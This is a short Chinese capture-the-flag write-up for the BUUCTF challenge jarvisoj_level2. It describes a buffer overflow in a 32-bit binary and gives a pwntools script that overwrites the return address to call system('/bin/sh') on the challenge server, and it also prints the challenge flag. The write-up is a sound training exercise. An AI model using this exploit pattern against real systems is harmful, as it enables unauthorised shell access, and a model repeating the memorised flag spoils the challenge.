[buuctf]jarvisoj_level2

[buuctf]jarvisoj_level2

  • 解题
    • 思路
    • 脚本

解题

思路

先checksec一下,发现就开了一个NX
[buuctf]jarvisoj_level2_第1张图片
32位的,直接拖入ida中,运行一下,对照看ida。
[buuctf]jarvisoj_level2_第2张图片
之后看见了第一句话。
[buuctf]jarvisoj_level2_第3张图片
之后你输入的全给buf中,大小100h,之后跳回去,输出hello word,大概逻辑知道了,先看看源程序中,有没有/bin/sh这类,在地址0804A024有/bin/sh,之后找plt表,08048320这里调用了system,所以脚本生成。

脚本

from pwn import *
p = remote('node4.buuoj.cn',26844)
#p = process('./level2')
context(os = 'linux',arch = 'i386',log_level = 'debug')
#gdb.attach(p)
payload = b'a'*(0x88+0x04)+p32(0x08048320) +p32(0) +p32(0x0804A024)
p.sendlineafter(b'Input:\n',payload)
p.interactive()

所以最后flag是flag{689cce09-25a9-4c6d-81ed-9939391f057d}

你可能感兴趣的:(PWN,#,buuctf,安全)